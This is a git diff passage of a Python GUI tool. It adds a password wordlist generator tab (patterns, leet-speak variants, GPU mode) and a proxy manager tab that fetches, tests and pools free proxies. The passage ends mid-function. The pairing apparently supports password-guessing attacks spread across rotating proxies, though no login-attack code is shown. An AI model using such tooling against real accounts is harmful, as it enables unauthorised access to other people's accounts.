placeholder_text="!@#$%^&*", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.symbols_entry.insert(0, "!@#$%^&*") + self.symbols_entry.pack(side="left", fill="x", expand=True) + + # === SECTION 5: Capitalization === + CyberpunkTheme.create_section_header(self.content, "> CAPITALIZATION") + cap_frame = ctk.CTkFrame(self.content, fg_color="transparent") + cap_frame.pack(fill="x", padx=10, pady=5) + + row_c1 = ctk.CTkFrame(cap_frame, fg_color="transparent") + row_c1.pack(fill="x") + + self.first_cap_var = ctk.BooleanVar(value=True) + ctk.CTkCheckBox( + row_c1, text="First letter caps", variable=self.first_cap_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.all_caps_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_c1, text="ALLCAPS", variable=self.all_caps_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.toggle_case_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_c1, text="Toggle case", variable=self.toggle_case_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left") + + # === SECTION 6: Transform Options === + CyberpunkTheme.create_section_header(self.content, "> TRANSFORMATIONS") + trans_frame = ctk.CTkFrame(self.content, fg_color="transparent") + trans_frame.pack(fill="x", padx=10, pady=5) + + self.leet_var = ctk.BooleanVar(value=True) + ctk.CTkCheckBox( + trans_frame, text="Leet speak variants (a→4, e→3, i→1, o→0, s→5, t→7)", + variable=self.leet_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(anchor="w") + + # === SECTION 7: Pattern Templates === + CyberpunkTheme.create_section_header(self.content, "> PATTERN TEMPLATES") + pat_frame = ctk.CTkFrame(self.content, fg_color="transparent") + pat_frame.pack(fill="x", padx=10, pady=5) + + pat_label = ctk.CTkLabel( + pat_frame, text="Select patterns to generate (uses {word}, {num}, {sym} placeholders):", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + pat_label.pack(anchor="w") + + # Pattern checkboxes + self.pattern_vars = {} + default_patterns = [ + ("{word}{num}", True), + ("{word}{sym}{num}", True), + ("{num}{word}", False), + ("{sym}{word}{num}", False), + ("{word}{num}{sym}", True), + ("{num}{sym}{word}", False), + ("{num}{word}{sym}", False), + ("{sym}{word}", False), + ] + + row_p = ctk.CTkFrame(pat_frame, fg_color="transparent") + row_p.pack(fill="x") + + for i, (pattern, default) in enumerate(default_patterns): + if i > 0 and i % 4 == 0: + row_p = ctk.CTkFrame(pat_frame, fg_color="transparent") + row_p.pack(fill="x") + + var = ctk.BooleanVar(value=default) + self.pattern_vars[pattern] = var + ctk.CTkCheckBox( + row_p, text=pattern, variable=var, + font=("Consolas", 11), checkbox_width=18, checkbox_height=18, + ).pack(side="left", padx=(0, 15), pady=2) + + # Custom pattern + row_cust = ctk.CTkFrame(pat_frame, fg_color="transparent") + row_cust.pack(fill="x", pady=(5, 0)) + + ctk.CTkLabel( + row_cust, text="Custom pattern:", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.custom_pattern_entry = ctk.CTkEntry( + row_cust, placeholder_text="e.g., {word}{num}{sym}{num}", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.custom_pattern_entry.pack(side="left", fill="x", expand=True) + + # === SECTION 8: Length Constraints === + CyberpunkTheme.create_section_header(self.content, "> LENGTH CONSTRAINTS") + len_frame = ctk.CTkFrame(self.content, fg_color="transparent") + len_frame.pack(fill="x", padx=10, pady=5) + + row_l1 = ctk.CTkFrame(len_frame, fg_color="transparent") + row_l1.pack(fill="x") + + ctk.CTkLabel( + row_l1, text="Min:", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.min_len_var = ctk.IntVar(value=6) + min_len_slider = ctk.CTkSlider( + row_l1, from_=4, to=32, number_of_steps=28, + variable=self.min_len_var, + fg_color=CyberpunkTheme.BG_DARK, + progress_color=CyberpunkTheme.PRIMARY, + button_color=CyberpunkTheme.PRIMARY, + button_hover_color=CyberpunkTheme.SECONDARY, + width=200, + ) + min_len_slider.pack(side="left", padx=(0, 10)) + + self.min_len_label = ctk.CTkLabel( + row_l1, text="6", font=("Consolas", 12, "bold"), + text_color=CyberpunkTheme.PRIMARY, width=30, + ) + self.min_len_label.pack(side="left") + + def update_min(val): + self.min_len_label.configure(text=str(int(val))) + min_len_slider.configure(command=update_min) + + row_l2 = ctk.CTkFrame(len_frame, fg_color="transparent") + row_l2.pack(fill="x", pady=(5, 0)) + + ctk.CTkLabel( + row_l2, text="Max:", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.max_len_var = ctk.IntVar(value=32) + max_len_slider = ctk.CTkSlider( + row_l2, from_=4, to=32, number_of_steps=28, + variable=self.max_len_var, + fg_color=CyberpunkTheme.BG_DARK, + progress_color=CyberpunkTheme.PRIMARY, + button_color=CyberpunkTheme.PRIMARY, + button_hover_color=CyberpunkTheme.SECONDARY, + width=200, + ) + max_len_slider.pack(side="left", padx=(0, 10)) + + self.max_len_label = ctk.CTkLabel( + row_l2, text="32", font=("Consolas", 12, "bold"), + text_color=CyberpunkTheme.PRIMARY, width=30, + ) + self.max_len_label.pack(side="left") + + def update_max(val): + self.max_len_label.configure(text=str(int(val))) + max_len_slider.configure(command=update_max) + + # === SECTION 9: Character Requirements === + CyberpunkTheme.create_section_header(self.content, "> CHARACTER REQUIREMENTS") + req_frame = ctk.CTkFrame(self.content, fg_color="transparent") + req_frame.pack(fill="x", padx=10, pady=5) + + row_r1 = ctk.CTkFrame(req_frame, fg_color="transparent") + row_r1.pack(fill="x") + + self.req_upper_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_r1, text="Must have uppercase", variable=self.req_upper_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.req_lower_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_r1, text="Must have lowercase", variable=self.req_lower_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.req_digit_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_r1, text="Must have digit", variable=self.req_digit_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.req_symbol_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_r1, text="Must have symbol", variable=self.req_symbol_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left") + + # === BOTTOM: Generate Button + Stats === + bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + bottom_frame.pack(fill="x", side="bottom") + + # Progress bar row (hidden until generating) + self.gen_progress = ctk.CTkProgressBar( + bottom_frame, + fg_color=CyberpunkTheme.BG_MEDIUM, + progress_color=CyberpunkTheme.SECONDARY, + height=4, + corner_radius=0, + ) + self.gen_progress.set(0) + self._gen_progress_anim = None + + inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent") + inner_bottom.pack(fill="x", padx=15, pady=(8, 10)) + + # GPU status + gpu_text = f"GPU: {self.generator.gpu_info}" if self.generator.gpu_available else "CPU MODE" + self.gpu_label = ctk.CTkLabel( + inner_bottom, text=gpu_text, + font=("Consolas", 10), + text_color=CyberpunkTheme.TERTIARY if self.generator.gpu_available else CyberpunkTheme.TEXT_DIM, + ) + self.gpu_label.pack(side="left") + + # Stats + self.stats_label = ctk.CTkLabel( + inner_bottom, text="Generated: 0 | File: 0", + font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + self.stats_label.pack(side="left", padx=(20, 0)) + + # Live estimate + self.estimate_label = ctk.CTkLabel( + inner_bottom, text="Est: —", + font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_DIM, + ) + self.estimate_label.pack(side="left", padx=(20, 0)) + + # Generate button + self.generate_btn = CyberpunkTheme.create_neon_button( + inner_bottom, text=">> GENERATE <<", + command=self._on_generate, + color=CyberpunkTheme.SECONDARY, + width=180, height=36, + ) + self.generate_btn.pack(side="right") + + self.clear_file_btn = CyberpunkTheme.create_neon_button( + inner_bottom, text="CLEAR FILE", + command=self._on_clear_wordlist, + color="#442222", + width=110, height=36, + ) + self.clear_file_btn.pack(side="right", padx=(0, 8)) + + # Wire live estimate to all config widgets + self._bind_estimate_triggers() + self._schedule_estimate() + self._update_file_stats() + self._notify_wordlist_loaded() + + def _notify_wordlist_loaded(self): + try: + count = count_lines(PASSWORDS_FILE) + if self.status_callback: + if count: + self.status_callback(f"Wordlist loaded — {count:,} passwords ready") + else: + self.status_callback("Wordlist empty — configure and generate passwords") + except Exception: + pass + + def _on_clear_wordlist(self): + try: + PASSWORDS_FILE.parent.mkdir(parents=True, exist_ok=True) + PASSWORDS_FILE.write_text("", encoding="utf-8") + self.generated_count = 0 + self.stats_label.configure( + text="Generated: 0 | File: 0", + text_color=CyberpunkTheme.WARNING, + ) + if self.status_callback: + self.status_callback("Wordlist cleared") + except Exception as e: + if self.status_callback: + self.status_callback(f"Clear failed: {e}") + + def _bind_estimate_triggers(self): + """Attach trace callbacks to all config variables so estimate refreshes live.""" + bool_vars = [ + self.append_nums_var, self.prepend_nums_var, self.use_years_var, + self.append_sym_var, self.prepend_sym_var, self.sym_between_var, + self.first_cap_var, self.all_caps_var, self.toggle_case_var, + self.leet_var, self.req_upper_var, self.req_lower_var, + self.req_digit_var, self.req_symbol_var, + *self.pattern_vars.values(), + ] + for v in bool_vars: + v.trace_add("write", lambda *_: self._schedule_estimate()) + for int_var in (self.min_len_var, self.max_len_var): + int_var.trace_add("write", lambda *_: self._schedule_estimate()) + # Text entries — use binding + for widget in (self.fragments_entry, self.symbols_entry, self.num_start_entry, + self.num_end_entry, self.custom_pattern_entry): + widget.bind("", lambda _e: self._schedule_estimate()) + + def _get_config(self) -> GenerationConfig: + """Build GenerationConfig from current UI state.""" + # Parse fragments + frag_text = self.fragments_entry.get().strip() + fragments = [f.strip() for f in frag_text.split(",") if f.strip()] + + # Parse custom words + words_text = self.words_text.get("1.0", "end").strip() + custom_words = [w.strip() for w in words_text.split("\n") if w.strip()] + + # Parse number range + try: + num_start = int(self.num_start_entry.get() or "0") + except ValueError: + num_start = 0 + try: + num_end = int(self.num_end_entry.get() or "9999") + except ValueError: + num_end = 9999 + + # Get selected patterns + patterns = [p for p, var in self.pattern_vars.items() if var.get()] + if not patterns: + patterns = ["{word}{num}"] + + custom_pattern = self.custom_pattern_entry.get().strip() + + return GenerationConfig( + fragments=fragments, + custom_words=custom_words, + append_numbers=self.append_nums_var.get(), + prepend_numbers=self.prepend_nums_var.get(), + number_range_start=num_start, + number_range_end=num_end, + use_years=self.use_years_var.get(), + append_symbols=self.append_sym_var.get(), + prepend_symbols=self.prepend_sym_var.get(), + symbols_between=self.sym_between_var.get(), + custom_symbols=self.symbols_entry.get().strip(), + first_letter_caps=self.first_cap_var.get(), + all_caps=self.all_caps_var.get(), + toggle_case=self.toggle_case_var.get(), + leet_speak=self.leet_var.get(), + patterns=patterns, + custom_pattern=custom_pattern, + min_length=self.min_len_var.get(), + max_length=self.max_len_var.get(), + require_upper=self.req_upper_var.get(), + require_lower=self.req_lower_var.get(), + require_digit=self.req_digit_var.get(), + require_symbol=self.req_symbol_var.get(), + ) + + def _start_gen_progress(self): + self.gen_progress.pack(fill="x", side="top") + self._gen_progress_dir = 1 + self._gen_progress_val = 0.0 + + def _pulse(): + if self._gen_progress_anim is None: + return + self._gen_progress_val += 0.04 * self._gen_progress_dir + if self._gen_progress_val >= 1.0: + self._gen_progress_val = 1.0 + self._gen_progress_dir = -1 + elif self._gen_progress_val <= 0.0: + self._gen_progress_val = 0.0 + self._gen_progress_dir = 1 + self.gen_progress.set(self._gen_progress_val) + self._gen_progress_anim = self.after(40, _pulse) + + self._gen_progress_anim = self.after(40, _pulse) + + def _stop_gen_progress(self): + if self._gen_progress_anim: + self.after_cancel(self._gen_progress_anim) + self._gen_progress_anim = None + self.gen_progress.pack_forget() + self.gen_progress.set(0) + + def _on_generate(self): + """Handle generate button click — runs generation in background thread.""" + self.generate_btn.configure(state="disabled", text=" GENERATING... ") + self._start_gen_progress() + if self.status_callback: + self.status_callback("Generating wordlist…") + config = self._get_config() + + thread = threading.Thread(target=self._generate_worker, args=(config,), daemon=True) + thread.start() + + def _generate_worker(self, config: GenerationConfig): + """Background worker for password generation.""" + try: + passwords = self.generator.generate(config) + self.generated_count = len(passwords) + + # Save to file (append) + if passwords: + save_passwords(passwords) + + # Update UI from main thread + self.after(0, self._on_generation_complete) + + except Exception as e: + logger.error(f"Generation error: {e}") + self.after(0, lambda: self._on_generation_error(str(e))) + + def _on_generation_complete(self): + """Update UI after generation completes.""" + self._stop_gen_progress() + self.generate_btn.configure(state="normal", text=">> GENERATE <<") + file_count = count_lines(PASSWORDS_FILE) + self.stats_label.configure( + text=f"Generated: {self.generated_count:,} | File: {file_count:,}", + text_color=CyberpunkTheme.SUCCESS, + ) + if self.status_callback: + self.status_callback( + f"Wordlist ready — {file_count:,} passwords in {PASSWORDS_FILE.name}") + + def _on_generation_error(self, error_msg: str): + """Handle generation error.""" + self._stop_gen_progress() + self.generate_btn.configure(state="normal", text=">> GENERATE <<") + self.stats_label.configure( + text=f"Error: {error_msg}", + text_color=CyberpunkTheme.ERROR, + ) + + def _schedule_estimate(self): + """Re-compute estimate 800ms after any config change (debounced).""" + if self._estimate_after_id: + self.after_cancel(self._estimate_after_id) + self._estimate_after_id = self.after(800, self._refresh_estimate) + + def _refresh_estimate(self): + """Update the estimate label from current config.""" + self._estimate_after_id = None + try: + cfg = self._get_config() + est = self.generator.estimate(cfg) + self.estimate_label.configure( + text=f"Est: {est:,}", + text_color=CyberpunkTheme.PRIMARY if est > 0 else CyberpunkTheme.TEXT_DIM, + ) + except Exception: + pass + + def _update_file_stats(self): + """Update the file line count periodically (safe against double-scheduling).""" + if self._stats_after_id: + self.after_cancel(self._stats_after_id) + try: + count = count_lines(PASSWORDS_FILE) + if self.generate_btn.cget("state") == "normal": + self.stats_label.configure( + text=f"Generated: {self.generated_count:,} | File: {count:,}", + ) + except Exception: + pass + self._stats_after_id = self.after(5000, self._update_file_stats) + + def get_generated_count(self) -> int: + """Get the number of generated passwords.""" + return self.generated_count diff --git a/src/gui/proxy_manager_tab.py b/src/gui/proxy_manager_tab.py new file mode 100644 index 0000000..1f3e30c --- /dev/null +++ b/src/gui/proxy_manager_tab.py @@ -0,0 +1,489 @@ +""" +Proxy Manager Tab — fetch, import, health-test, and commit proxies. + +Per-proxy visual states: + ● RED — untested / dead + ● YELLOW — currently testing + ● GREEN — healthy + +Testing strategy: + TEST ALL runs sequentially: one proxy at a time, red → yellow → green/red, + before moving on. This keeps the UI readable and avoids hammering networks. + Individual "TEST" buttons still fire immediately in their own thread. +""" +import asyncio +import logging +import threading +from typing import Dict, List, Optional + +import customtkinter as ctk + +from src.gui.theme import CyberpunkTheme +from src.proxy.pool import ProxyPool +from src.proxy.fetcher import ProxyFetcher +from src.proxy.validator import ProxyValidator +from src.utils.file_io import save_proxies, save_valid_proxies, load_proxies + +logger = logging.getLogger(__name__) + +_DOT_UNTESTED = CyberpunkTheme.ERROR +_DOT_TESTING = CyberpunkTheme.WARNING +_DOT_VALID = CyberpunkTheme.SUCCESS +_DOT_FAILED = "#aa2233" + + +class _ProxyRow: + __slots__ = ("frame", "dot", "ip_lbl", "port_lbl", "proto_lbl", + "speed_lbl", "status_lbl", "test_btn", "remove_btn", "state") + + def __init__(self): + self.frame = self.dot = self.ip_lbl = self.port_lbl = None + self.proto_lbl = self.speed_lbl = self.status_lbl = None + self.test_btn = self.remove_btn = None + self.state = "untested" + + +class ProxyManagerTab(ctk.CTkFrame): + + def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None): + super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) + self.proxy_pool = proxy_pool + self.fetcher = ProxyFetcher() + self.validator = ProxyValidator() + self.status_callback = status_callback + + self._rows: Dict[str, _ProxyRow] = {} + self._seq_testing = False # True while sequential TEST ALL is running + self._seq_stop_flag = False # set True to abort sequential test + self._single_lock = threading.Lock() + + self._build_ui() + + # ── UI ──────────────────────────────────────────────────────────────────── + + def _build_ui(self): + ctk.CTkLabel(self, text="[ PROXY MANAGER ]", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) + ctk.CTkLabel(self, + text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12)) + + # ── Control bar ─────────────────────────────────────────────────────── + ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + ctrl.pack(fill="x", padx=15, pady=(0, 8)) + inner = ctk.CTkFrame(ctrl, fg_color="transparent") + inner.pack(fill="x", padx=12, pady=8) + + self.fetch_btn = CyberpunkTheme.create_neon_button( + inner, text="⬇ FETCH PROXIES", command=self._on_fetch, + color=CyberpunkTheme.TERTIARY, width=155, height=32) + self.fetch_btn.pack(side="left", padx=(0, 8)) + + self.import_btn = CyberpunkTheme.create_neon_button( + inner, text="📂 IMPORT FILE", command=self._on_import, + color=CyberpunkTheme.TERTIARY, width=140, height=32) + self.import_btn.pack(side="left", padx=(0, 8)) + + self.test_all_btn = CyberpunkTheme.create_neon_button( + inner, text="⚡ TEST ALL", command=self._on_test_all, + color=CyberpunkTheme.PRIMARY, width=130, height=32) + self.test_all_btn.pack(side="left", padx=(0, 8)) + + self.stop_test_btn = CyberpunkTheme.create_neon_button( + inner, text="⏹ STOP TEST", command=self._on_stop_test, + color=CyberpunkTheme.WARNING, width=120, height=32) + self.stop_test_btn.pack(side="left", padx=(0, 8)) + self.stop_test_btn.configure(state="disabled") + + self.remove_dead_btn = CyberpunkTheme.create_neon_button( + inner, text="🗑 REMOVE DEAD", command=self._on_remove_dead, + color=CyberpunkTheme.ERROR, width=145, height=32) + self.remove_dead_btn.pack(side="left", padx=(0, 8)) + + self.commit_btn = CyberpunkTheme.create_neon_button( + inner, text="✅ COMMIT TO POOL", command=self._on_commit, + color=CyberpunkTheme.SUCCESS, width=170, height=32) + self.commit_btn.pack(side="left", padx=(0, 8)) + + self.clear_btn = CyberpunkTheme.create_neon_button( + inner, text="✕ CLEAR ALL", command=self._on_clear, + color="#553333", width=110, height=32) + self.clear_btn.pack(side="left") + + # ── Paste box ───────────────────────────────────────────────────────── + paste_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + paste_frame.pack(fill="x", padx=15, pady=(0, 8)) + paste_inner = ctk.CTkFrame(paste_frame, fg_color="transparent") + paste_inner.pack(fill="x", padx=12, pady=8) + + ctk.CTkLabel(paste_inner, + text="Paste proxies (protocol://ip:port or ip:port, one per line):", + font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY).pack(anchor="w") + + paste_row = ctk.CTkFrame(paste_inner, fg_color="transparent") + paste_row.pack(fill="x", pady=(4, 0)) + + self.paste_box = ctk.CTkTextbox( + paste_row, height=60, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11)) + self.paste_box.pack(side="left", fill="x", expand=True, padx=(0, 8)) + + CyberpunkTheme.create_neon_button( + paste_row, text="ADD", command=self._on_add_pasted, + color=CyberpunkTheme.TERTIARY, width=70, height=60 + ).pack(side="left") + + # ── Stats bar ───────────────────────────────────────────────────────── + stats_bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + stats_bar.pack(fill="x", padx=15, pady=(0, 6)) + stats_inner = ctk.CTkFrame(stats_bar, fg_color="transparent") + stats_inner.pack(fill="x", padx=12, pady=6) + + def _sl(text, color): + l = ctk.CTkLabel(stats_inner, text=text, + font=("Consolas", 12, "bold"), text_color=color) + l.pack(side="left", padx=(0, 22)) + return l + + self.lbl_total = _sl("Total: 0", CyberpunkTheme.TEXT_PRIMARY) + self.lbl_valid = _sl("Valid: 0", CyberpunkTheme.SUCCESS) + self.lbl_failed = _sl("Dead: 0", CyberpunkTheme.ERROR) + self.lbl_testing = _sl("Testing: 0", CyberpunkTheme.WARNING) + self.lbl_inqueue = _sl("In Pool: 0", CyberpunkTheme.PRIMARY) + + self.test_progress = ctk.CTkProgressBar( + stats_inner, width=200, + fg_color=CyberpunkTheme.BG_DARK, + progress_color=CyberpunkTheme.PRIMARY, + height=10) + self.test_progress.set(0) + self.test_progress.pack(side="right", padx=(0, 4)) + self.test_progress.pack_forget() + + # ── Table header ────────────────────────────────────────────────────── + hdr = ctk.CTkFrame(self, fg_color="#0d0d1a", height=26) + hdr.pack(fill="x", padx=15) + for txt, w in [("", 4), ("IP Address", 190), ("Port", 60), ("Proto", 65), + ("Speed (ms)", 90), ("Status", 110), ("", 60), ("", 40)]: + ctk.CTkLabel(hdr, text=txt, font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=w, anchor="w").pack(side="left", padx=2) + + # ── Proxy list ──────────────────────────────────────────────────────── + self.list_frame = ctk.CTkScrollableFrame( + self, fg_color=CyberpunkTheme.BG_MEDIUM, + border_width=1, border_color=CyberpunkTheme.BORDER) + self.list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 10)) + + self._load_saved_proxies() + + # ── Row management ──────────────────────────────────────────────────────── + + def _add_proxy_row(self, proxy_str: str) -> Optional[_ProxyRow]: + proxy_str = proxy_str.strip() + if not proxy_str or "://" not in proxy_str: + return None + if proxy_str in self._rows: + return None + + try: + protocol, rest = proxy_str.split("://", 1) + ip, port = rest.rsplit(":", 1) + except ValueError: + ip, port, protocol = proxy_str, "?", "?" + + row = _ProxyRow() + idx = len(self._rows) + bg = CyberpunkTheme.BG_DARK if idx % 2 == 0 else CyberpunkTheme.BG_MEDIUM + row.frame = ctk.CTkFrame(self.list_frame, fg_color=bg, height=28) + row.frame.pack(fill="x", pady=1) + + row.dot = ctk.CTkLabel(row.frame, text="●", width=14, + font=("Consolas", 13, "bold"), + text_color=_DOT_UNTESTED) + row.dot.pack(side="left", padx=(4, 2)) + + def _lbl(txt, w, color=CyberpunkTheme.TEXT_PRIMARY): + l = ctk.CTkLabel(row.frame, text=txt, width=w, + font=("Consolas", 10), text_color=color, anchor="w") + l.pack(side="left", padx=2) + return l + + row.ip_lbl = _lbl(ip, 190) + row.port_lbl = _lbl(port, 60, CyberpunkTheme.TEXT_SECONDARY) + row.proto_lbl = _lbl(protocol.upper(), 65, CyberpunkTheme.TERTIARY) + row.speed_lbl = _lbl("—", 90, CyberpunkTheme.TEXT_DIM) + row.status_lbl = _lbl("untested", 110, CyberpunkTheme.TEXT_DIM) + + row.test_btn = ctk.CTkButton( + row.frame, text="TEST", width=55, height=22, + fg_color=CyberpunkTheme.BG_LIGHT, + hover_color=CyberpunkTheme.PRIMARY, + text_color=CyberpunkTheme.TEXT_SECONDARY, + font=("Consolas", 10, "bold"), corner_radius=3, + command=lambda ps=proxy_str: self._test_single(ps)) + row.test_btn.pack(side="left", padx=3) + + row.remove_btn = ctk.CTkButton( + row.frame, text="✕", width=28, height=22, + fg_color="#331111", hover_color=CyberpunkTheme.ERROR, + text_color=CyberpunkTheme.ERROR, + font=("Consolas", 11, "bold"), corner_radius=3, + command=lambda ps=proxy_str: self._remove_proxy(ps)) + row.remove_btn.pack(side="left", padx=2) + + self._rows[proxy_str] = row + self._refresh_stats() + return row + + def _remove_proxy(self, proxy_str: str): + row = self._rows.pop(proxy_str, None) + if row and row.frame: + row.frame.destroy() + self._refresh_stats() + + # ── Row state ───────────────────────────────────────────────────────────── + + def _set_row_state(self, proxy_str: str, state: str, + speed_ms: float = 0.0, msg: str = ""): + row = self._rows.get(proxy_str) + if not row: + return + row.state = state + colors = { + "untested": (_DOT_UNTESTED, CyberpunkTheme.TEXT_DIM, "untested"), + "testing": (_DOT_TESTING, CyberpunkTheme.WARNING, "testing…"), + "valid": (_DOT_VALID, CyberpunkTheme.SUCCESS, f"{speed_ms:.0f} ms"), + "failed": (_DOT_FAILED, CyberpunkTheme.ERROR, msg or "failed"), + } + dot_c, stat_c, stat_txt = colors.get(state, colors["untested"]) + try: + row.dot.configure(text_color=dot_c) + row.status_lbl.configure(text=stat_txt, text_color=stat_c) + if state == "valid": + row.speed_lbl.configure( + text=f"{speed_ms:.0f}", + text_color=( + CyberpunkTheme.SUCCESS if speed_ms < 1500 else + CyberpunkTheme.WARNING if speed_ms < 4000 else + CyberpunkTheme.ERROR + )) + except Exception: + pass + self._refresh_stats() + + # ── Individual proxy test ───────────────────────────────────────────────── + + def _test_single(self, proxy_str: str): + """Test one proxy in its own daemon thread.""" + self.after(0, lambda: self._set_row_state(proxy_str, "testing")) + + def worker(): + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self.validator.test_single_proxy(proxy_str)) + loop.close() + if result.is_valid: + self.after(0, lambda: self._set_row_state( + proxy_str, "valid", result.response_time_ms)) + else: + self.after(0, lambda: self._set_row_state( + proxy_str, "failed", msg=result.error or "no response")) + + threading.Thread(target=worker, daemon=True).start() + + # ── Sequential TEST ALL ─────────────────────────────────────────────────── + + def _on_test_all(self): + if self._seq_testing: + return + proxies_to_test = list(self._rows.keys()) + if not proxies_to_test: + self._notify("No proxies to test") + return + + self._seq_testing = True + self._seq_stop_flag = False + total = len(proxies_to_test) + + self.test_all_btn.configure(state="disabled", text="⏳ TESTING…") + self.stop_test_btn.configure(state="normal") + self.test_progress.pack(side="right", padx=(0, 4)) + self.test_progress.set(0) + + def sequential_worker(): + for idx, ps in enumerate(proxies_to_test): + if self._seq_stop_flag: + break + # Mark yellow in UI + self.after(0, lambda p=ps: self._set_row_state(p, "testing")) + + # Run the actual test + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self.validator.test_single_proxy(ps)) + loop.close() + + if self._seq_stop_flag: + break + + # Update row in UI + if result.is_valid: + self.after(0, lambda p=ps, ms=result.response_time_ms: + self._set_row_state(p, "valid", ms)) + else: + self.after(0, lambda p=ps, err=result.error or "": + self._set_row_state(p, "failed", msg=err)) + + # Update progress + progress = (idx + 1) / total + self.after(0, lambda v=progress: self.test_progress.set(v)) + self.after(0, lambda i=idx+1, t=total: + self._notify(f"Testing {i}/{t} proxies…")) + + # Done + def done(): + self._seq_testing = False + self.test_all_btn.configure(state="normal", text="⚡ TEST ALL") + self.stop_test_btn.configure(state="disabled") + self.test_progress.pack_forget() + valid = self._count_valid() + stopped = " (stopped early)" if self._seq_stop_flag else "" + self._notify(f"Testing complete{stopped} — {valid} valid proxies") + + self.after(0, done) + + threading.Thread(target=sequential_worker, daemon=True).start() + + def _on_stop_test(self): + self._seq_stop_flag = True + self.stop_test_btn.configure(state="disabled") + + # ── Bulk actions ────────────────────────────────────────────────────────── + + def _on_remove_dead(self): + dead = [ps for ps, row in self._rows.items() if row.state == "failed"] + for ps in dead: + self._remove_proxy(ps) + self._notify(f"Removed {len(dead)} dead proxies") + + def _on_commit(self): + valid = [ps for ps, row in self._rows.items() if row.state == "valid"] + if not valid: + self._notify("No valid proxies to commit — run TEST ALL first") + return + save_valid_proxies(valid) + new_count = self.proxy_pool.add_proxies(valid) + self._refresh_stats() + self._notify(f"Committed {new_count} new proxies to pool (pool total: {self.proxy_pool.total_valid})") + + def _on_clear(self): + if self._seq_testing: + self._seq_stop_flag = True + for row in self._rows.values(): + if row.frame: + row.frame.destroy() + self._rows.clear() + self._refresh_stats() + + # ── Import / Fetch ──────────────────────────────────────────────────────── + + def _on_fetch(self): + self.fetch_btn.configure(state="disabled", text="⏳ FETCHING…") + self._notify("Fetching proxies from free sources…") + + def worker(): + try: + strings = self.fetcher.fetch_as_strings(500) + save_proxies(strings) + def done(): + self.fetch_btn.configure(state="normal", text="⬇ FETCH PROXIES") + for ps in strings: + self._add_proxy_row(ps) + self._notify(f"Fetched {len(strings)} proxies — click TEST ALL to check health") + self.after(0, done) + except Exception as e: + self.after(0, lambda: self.fetch_btn.configure( + state="normal", text="⬇ FETCH PROXIES")) + self.after(0, lambda: self._notify(f"Fetch error: {e}")) + logger.error(f"Fetch error: {e}") + + threading.Thread(target=worker, daemon=True).start() + + def _on_import(self): + from tkinter import filedialog + path = filedialog.askopenfilename( + title="Import Proxy List", + filetypes=[("Text files", "*.txt"), ("All files", "*.*")]) + if not path: + return + try: + with open(path, "r", encoding="utf-8", errors="ignore") as f: + lines = [l.strip() for l in f if l.strip()] + processed = [] + for line in lines: + if "://" not in line and line: + line = f"http://{line}" + processed.append(line) + save_proxies(processed) + added = sum(1 for ps in processed if self._add_proxy_row(ps) is not None) + self._notify(f"Imported {added} proxies from file") + except Exception as e: + self._notify(f"Import error: {e}") + + def _on_add_pasted(self): + text = self.paste_box.get("1.0", "end").strip() + lines = [l.strip() for l in text.splitlines() if l.strip()] + added = 0 + for ps in lines: + if "://" not in ps: + ps = f"http://{ps}" + if self._add_proxy_row(ps) is not None: + added += 1 + 